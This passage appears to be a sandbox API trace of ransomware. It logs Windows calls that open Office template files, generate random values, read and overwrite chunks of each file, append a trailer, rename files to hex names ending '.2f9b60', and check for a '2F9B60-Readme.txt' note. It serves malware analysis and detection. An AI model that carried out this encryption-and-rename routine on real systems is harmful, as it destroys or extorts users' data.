_Format="%c%c" | out: _Dest="b4") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5c8, _Format="%c%c" | out: _Dest="70") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5ca, _Format="%c%c" | out: _Dest="88") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5cc, _Format="%c%c" | out: _Dest="9e") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5ce, _Format="%c%c" | out: _Dest="71") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5d0, _Format="%c%c" | out: _Dest="fa") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5d2, _Format="%c%c" | out: _Dest="c9") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5d4, _Format="%c%c" | out: _Dest="c7") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5d6, _Format="%c%c" | out: _Dest="ee") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5d8, _Format="%c%c" | out: _Dest="69") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5da, _Format="%c%c" | out: _Dest="23") returned 2 [0145.640] sprintf (in: _Dest=0x1cd9f5dc, _Format="%c%c" | out: _Dest="29") returned 2 [0145.641] sprintf (in: _Dest=0x1cd9f5de, _Format="%c%c" | out: _Dest="a3") returned 2 [0145.641] sprintf (in: _Dest=0x1cd9f5e0, _Format="%c%c" | out: _Dest="6e") returned 2 [0145.641] sprintf (in: _Dest=0x1cd9f5e2, _Format="%c%c" | out: _Dest="92") returned 2 [0145.641] RtlInitAnsiString (in: DestinationString=0x3e9ffac8, SourceString="c3fbd1f5edd0bb6d3da499b470889e71fac9c7ee692329a36e92" | out: DestinationString="c3fbd1f5edd0bb6d3da499b470889e71fac9c7ee692329a36e92") [0145.641] RtlAnsiStringToUnicodeString (in: DestinationString=0x3e9ffa98, SourceString="c3fbd1f5edd0bb6d3da499b470889e71fac9c7ee692329a36e92", AllocateDestinationString=1 | out: DestinationString="c3fbd1f5edd0bb6d3da499b470889e71fac9c7ee692329a36e92") returned 0x0 [0145.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20504c90 [0145.641] RtlFreeAnsiString (AnsiString="c") [0145.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0145.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ef0) returned 1 [0145.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263800) returned 1 [0145.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0145.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260350) returned 1 [0145.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ae0) returned 1 [0145.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7040) returned 1 [0145.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7a60) returned 1 [0145.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7970) returned 1 [0145.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6c50) returned 1 [0145.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a63b0) returned 1 [0145.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1e10 [0145.644] wcscat (in: _Dest=0x202b1e10, _Source="c3fbd1f5edd0b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3fbd1f5edd0b") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3fbd1f5edd0b" [0145.644] wcscat (in: _Dest=0x202b1e10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3fbd1f5edd0b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3fbd1f5edd0b.2f9b60" [0145.644] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3fbd1f5edd0b.2f9b60", NtPathName=0x3e9ffa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3fbd1f5edd0b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0145.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20278530 [0145.645] NtSetInformationFile (FileHandle=0x1f40, IoStatusBlock=0x3e9ffb10, FileInformation=0x20278530, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0145.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278530) returned 1 [0145.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd300) returned 1 [0145.649] NtQueryInformationFile (in: FileHandle=0x1f40, IoStatusBlock=0x3e9ffad8, FileInformation=0x3e9ffae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3e9ffad8, FileInformation=0x3e9ffae8) returned 0x0 [0145.649] NtSetInformationFile (FileHandle=0x1f40, IoStatusBlock=0x3e9ffad8, FileInformation=0x3e9ffae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1e10) returned 1 [0145.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c90) returned 1 [0145.651] FlushFileBuffers (hFile=0x1f40) returned 1 [0145.988] CloseHandle (hObject=0x1f40) returned 1 [0146.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cf4bad0 [0146.003] wcscpy (in: _Dest=0x1cf4bad0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0146.003] wcscat (in: _Dest=0x1cf4bad0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0146.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0x20 [0146.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4bad0) returned 1 [0146.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c220) returned 1 Thread: id = 2294 os_tid = 0x1c30 [0145.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projectstatusreport.potx")) returned 0x20 [0145.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx", dwFileAttributes=0x20) returned 1 [0145.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projectstatusreport.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fbc [0145.610] GetFileSizeEx (in: hFile=0x1fbc, lpFileSize=0x3e2ff7a0 | out: lpFileSize=0x3e2ff7a0*=654698) returned 1 [0145.610] SetFilePointerEx (in: hFile=0x1fbc, liDistanceToMove=0x9fd66, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.610] ReadFile (in: hFile=0x1fbc, lpBuffer=0x3e2ff720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e2ff768, lpOverlapped=0x0 | out: lpBuffer=0x3e2ff720*, lpNumberOfBytesRead=0x3e2ff768*=0x4, lpOverlapped=0x0) returned 1 [0145.614] SetFilePointerEx (in: hFile=0x1fbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a60 [0145.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6890 [0145.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7040 [0145.615] NtQuerySystemTime (in: CurrentTime=0x3e2ff660 | out: CurrentTime=0x3e2ff660*=132462177508594000) returned 0x0 [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x5ae7976 [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x51657663 [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x4973b47f [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x3a75064a [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0xa87d61b [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x1fddef2c [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0xd762b65 [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x662507a1 [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x469da16 [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x44a9335e [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x5655db02 [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x1af40acc [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x7c1bfa37 [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x42f858bb [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x23230166 [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x46ddacc2 [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x1705a38c [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x4e0c2caf [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x324db6b [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x58c63eb [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x662507a1 [0145.615] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x4e6713c2 [0145.616] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x197a1f14 [0145.616] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x460867d4 [0145.616] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0xaf55b88 [0145.616] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x1c20f93d [0145.616] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x748f7212 [0145.616] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x308eaa37 [0145.616] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x19bb7577 [0145.616] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x2c1a631e [0145.616] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x4768923d [0145.616] RtlRandomEx (in: Seed=0x3e2ff650 | out: Seed=0x3e2ff650) returned 0x55dd4ecb [0145.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a64d0 [0145.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c90 [0145.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0145.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c90) returned 1 [0145.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7040) returned 1 [0145.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7a60) returned 1 [0145.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4231f0f0 [0145.628] SetFilePointerEx (in: hFile=0x1fbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.628] ReadFile (in: hFile=0x1fbc, lpBuffer=0x4231f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e2ff6c0, lpOverlapped=0x0 | out: lpBuffer=0x4231f0f0*, lpNumberOfBytesRead=0x3e2ff6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0145.634] SetFilePointerEx (in: hFile=0x1fbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0145.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0145.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0145.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625d0) returned 1 [0145.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422b2140 [0145.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0145.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0145.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ef0) returned 1 [0145.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0145.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0145.636] WriteFile (hFile=0x1fbc, lpBuffer=0x422b2140, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e2ff6c0, lpOverlapped=0x0) [0179.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422b2140) returned 1 [0179.882] SetFilePointerEx (in: hFile=0x1fbc, liDistanceToMove=0x52800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.882] ReadFile (in: hFile=0x1fbc, lpBuffer=0x4231f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e2ff6c0, lpOverlapped=0x0 | out: lpBuffer=0x4231f0f0*, lpNumberOfBytesRead=0x3e2ff6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0180.762] SetFilePointerEx (in: hFile=0x1fbc, liDistanceToMove=0x52800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1c00 [0180.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce248a0 [0180.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c1b0 [0180.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c1b0) returned 1 [0180.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427652c0 [0180.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c1b0 [0180.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c1e0 [0180.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c1e0) returned 1 [0180.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce248a0) returned 1 [0180.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1c00) returned 1 [0180.765] WriteFile (in: hFile=0x1fbc, lpBuffer=0x427652c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e2ff6c0, lpOverlapped=0x0 | out: lpBuffer=0x427652c0*, lpNumberOfBytesWritten=0x3e2ff6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427652c0) returned 1 [0198.545] SetFilePointerEx (in: hFile=0x1fbc, liDistanceToMove=0x9c16a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.545] ReadFile (in: hFile=0x1fbc, lpBuffer=0x4231f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e2ff6c0, lpOverlapped=0x0 | out: lpBuffer=0x4231f0f0*, lpNumberOfBytesRead=0x3e2ff6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.734] SetFilePointerEx (in: hFile=0x1fbc, liDistanceToMove=0x9c16a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0198.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504810 [0198.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b560 [0198.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b560) returned 1 [0198.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42d3b8b0 [0198.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b560 [0198.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b590 [0198.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b590) returned 1 [0198.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0198.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0198.737] WriteFile (in: hFile=0x1fbc, lpBuffer=0x42d3b8b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e2ff6c0, lpOverlapped=0x0 | out: lpBuffer=0x42d3b8b0*, lpNumberOfBytesWritten=0x3e2ff6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d3b8b0) returned 1 [0214.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431048e0 [0214.758] SetFilePointerEx (in: hFile=0x1fbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.758] WriteFile (in: hFile=0x1fbc, lpBuffer=0x1ceb95d0*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x3e2ff770, lpOverlapped=0x0 | out: lpBuffer=0x1ceb95d0*, lpNumberOfBytesWritten=0x3e2ff770*=0x162, lpOverlapped=0x0) returned 1 [0219.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0219.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe470 [0219.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe470) returned 1 [0219.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x431ad720 [0219.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe470 [0219.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0219.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0219.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0219.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x43104870 [0219.168] sprintf (in: _Dest=0x43104870, _Format="%c%c" | out: _Dest="14") returned 2 [0219.169] sprintf (in: _Dest=0x43104872, _Format="%c%c" | out: _Dest="e6") returned 2 [0219.169] sprintf (in: _Dest=0x43104874, _Format="%c%c" | out: _Dest="bd") returned 2 [0219.169] sprintf (in: _Dest=0x43104876, _Format="%c%c" | out: _Dest="d8") returned 2 [0219.169] sprintf (in: _Dest=0x43104878, _Format="%c%c" | out: _Dest="d2") returned 2 [0219.169] sprintf (in: _Dest=0x4310487a, _Format="%c%c" | out: _Dest="b0") returned 2 [0219.169] sprintf (in: _Dest=0x4310487c, _Format="%c%c" | out: _Dest="49") returned 2 [0219.169] sprintf (in: _Dest=0x4310487e, _Format="%c%c" | out: _Dest="6f") returned 2 [0219.169] sprintf (in: _Dest=0x43104880, _Format="%c%c" | out: _Dest="6b") returned 2 [0219.169] sprintf (in: _Dest=0x43104882, _Format="%c%c" | out: _Dest="da") returned 2 [0219.169] sprintf (in: _Dest=0x43104884, _Format="%c%c" | out: _Dest="17") returned 2 [0219.169] sprintf (in: _Dest=0x43104886, _Format="%c%c" | out: _Dest="3b") returned 2 [0219.169] sprintf (in: _Dest=0x43104888, _Format="%c%c" | out: _Dest="ba") returned 2 [0219.169] sprintf (in: _Dest=0x4310488a, _Format="%c%c" | out: _Dest="b4") returned 2 [0219.169] sprintf (in: _Dest=0x4310488c, _Format="%c%c" | out: _Dest="5e") returned 2 [0219.169] sprintf (in: _Dest=0x4310488e, _Format="%c%c" | out: _Dest="9f") returned 2 [0219.169] sprintf (in: _Dest=0x43104890, _Format="%c%c" | out: _Dest="00") returned 2 [0219.169] sprintf (in: _Dest=0x43104892, _Format="%c%c" | out: _Dest="f2") returned 2 [0219.169] sprintf (in: _Dest=0x43104894, _Format="%c%c" | out: _Dest="2e") returned 2 [0219.169] sprintf (in: _Dest=0x43104896, _Format="%c%c" | out: _Dest="78") returned 2 [0219.169] sprintf (in: _Dest=0x43104898, _Format="%c%c" | out: _Dest="b3") returned 2 [0219.169] sprintf (in: _Dest=0x4310489a, _Format="%c%c" | out: _Dest="8e") returned 2 [0219.169] sprintf (in: _Dest=0x4310489c, _Format="%c%c" | out: _Dest="2f") returned 2 [0219.169] sprintf (in: _Dest=0x4310489e, _Format="%c%c" | out: _Dest="7d") returned 2 [0219.169] sprintf (in: _Dest=0x431048a0, _Format="%c%c" | out: _Dest="31") returned 2 [0219.169] sprintf (in: _Dest=0x431048a2, _Format="%c%c" | out: _Dest="10") returned 2 [0219.169] sprintf (in: _Dest=0x431048a4, _Format="%c%c" | out: _Dest="7e") returned 2 [0219.169] sprintf (in: _Dest=0x431048a6, _Format="%c%c" | out: _Dest="90") returned 2 [0219.169] sprintf (in: _Dest=0x431048a8, _Format="%c%c" | out: _Dest="a2") returned 2 [0219.169] sprintf (in: _Dest=0x431048aa, _Format="%c%c" | out: _Dest="d5") returned 2 [0219.169] sprintf (in: _Dest=0x431048ac, _Format="%c%c" | out: _Dest="06") returned 2 [0219.169] sprintf (in: _Dest=0x431048ae, _Format="%c%c" | out: _Dest="0a") returned 2 [0219.169] sprintf (in: _Dest=0x431048b0, _Format="%c%c" | out: _Dest="2b") returned 2 [0219.169] sprintf (in: _Dest=0x431048b2, _Format="%c%c" | out: _Dest="38") returned 2 [0219.169] sprintf (in: _Dest=0x431048b4, _Format="%c%c" | out: _Dest="7c") returned 2 [0219.169] sprintf (in: _Dest=0x431048b6, _Format="%c%c" | out: _Dest="ff") returned 2 [0219.169] sprintf (in: _Dest=0x431048b8, _Format="%c%c" | out: _Dest="ec") returned 2 [0219.170] sprintf (in: _Dest=0x431048ba, _Format="%c%c" | out: _Dest="56") returned 2 [0219.170] sprintf (in: _Dest=0x431048bc, _Format="%c%c" | out: _Dest="43") returned 2 [0219.170] sprintf (in: _Dest=0x431048be, _Format="%c%c" | out: _Dest="c6") returned 2 [0219.170] sprintf (in: _Dest=0x431048c0, _Format="%c%c" | out: _Dest="39") returned 2 [0219.170] sprintf (in: _Dest=0x431048c2, _Format="%c%c" | out: _Dest="a0") returned 2 [0219.170] sprintf (in: _Dest=0x431048c4, _Format="%c%c" | out: _Dest="49") returned 2 [0219.170] sprintf (in: _Dest=0x431048c6, _Format="%c%c" | out: _Dest="aa") returned 2 [0219.170] sprintf (in: _Dest=0x431048c8, _Format="%c%c" | out: _Dest="93") returned 2 [0219.170] sprintf (in: _Dest=0x431048ca, _Format="%c%c" | out: _Dest="de") returned 2 [0219.170] sprintf (in: _Dest=0x431048cc, _Format="%c%c" | out: _Dest="3c") returned 2 [0219.170] sprintf (in: _Dest=0x431048ce, _Format="%c%c" | out: _Dest="5b") returned 2 [0219.170] RtlInitAnsiString (in: DestinationString=0x3e2ff7e8, SourceString="14e6bdd8d2b0496f6bda173bbab45e9f00f22e78b38e2f7d31107e90a2d5060a2b387cffec5643c639a049aa93de3c5b" | out: DestinationString="14e6bdd8d2b0496f6bda173bbab45e9f00f22e78b38e2f7d31107e90a2d5060a2b387cffec5643c639a049aa93de3c5b") [0219.170] RtlAnsiStringToUnicodeString (in: DestinationString=0x3e2ff7b8, SourceString="14e6bdd8d2b0496f6bda173bbab45e9f00f22e78b38e2f7d31107e90a2d5060a2b387cffec5643c639a049aa93de3c5b", AllocateDestinationString=1 | out: DestinationString="14e6bdd8d2b0496f6bda173bbab45e9f00f22e78b38e2f7d31107e90a2d5060a2b387cffec5643c639a049aa93de3c5b") returned 0x0 [0219.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4310daa0 [0219.170] wcscat (in: _Dest=0x4315fc70, _Source="14e6bdd8d2b0496f6bda173b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\14e6bdd8d2b0496f6bda173b") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\14e6bdd8d2b0496f6bda173b" [0219.170] wcscat (in: _Dest=0x4315fc70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\14e6bdd8d2b0496f6bda173b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\14e6bdd8d2b0496f6bda173b.2f9b60" [0219.170] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\14e6bdd8d2b0496f6bda173b.2f9b60", NtPathName=0x3e2ff790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\14e6bdd8d2b0496f6bda173b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x4310d9d0 Thread: id = 2295 os_tid = 0x1c2c [0145.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\pitchbook.potx")) returned 0x20 [0145.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx", dwFileAttributes=0x20) returned 1 [0145.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\pitchbook.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fb4 [0145.726] GetFileSizeEx (in: hFile=0x1fb4, lpFileSize=0x3eecfb20 | out: lpFileSize=0x3eecfb20*=189840) returned 1 [0145.726] SetFilePointerEx (in: hFile=0x1fb4, liDistanceToMove=0x2e58c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 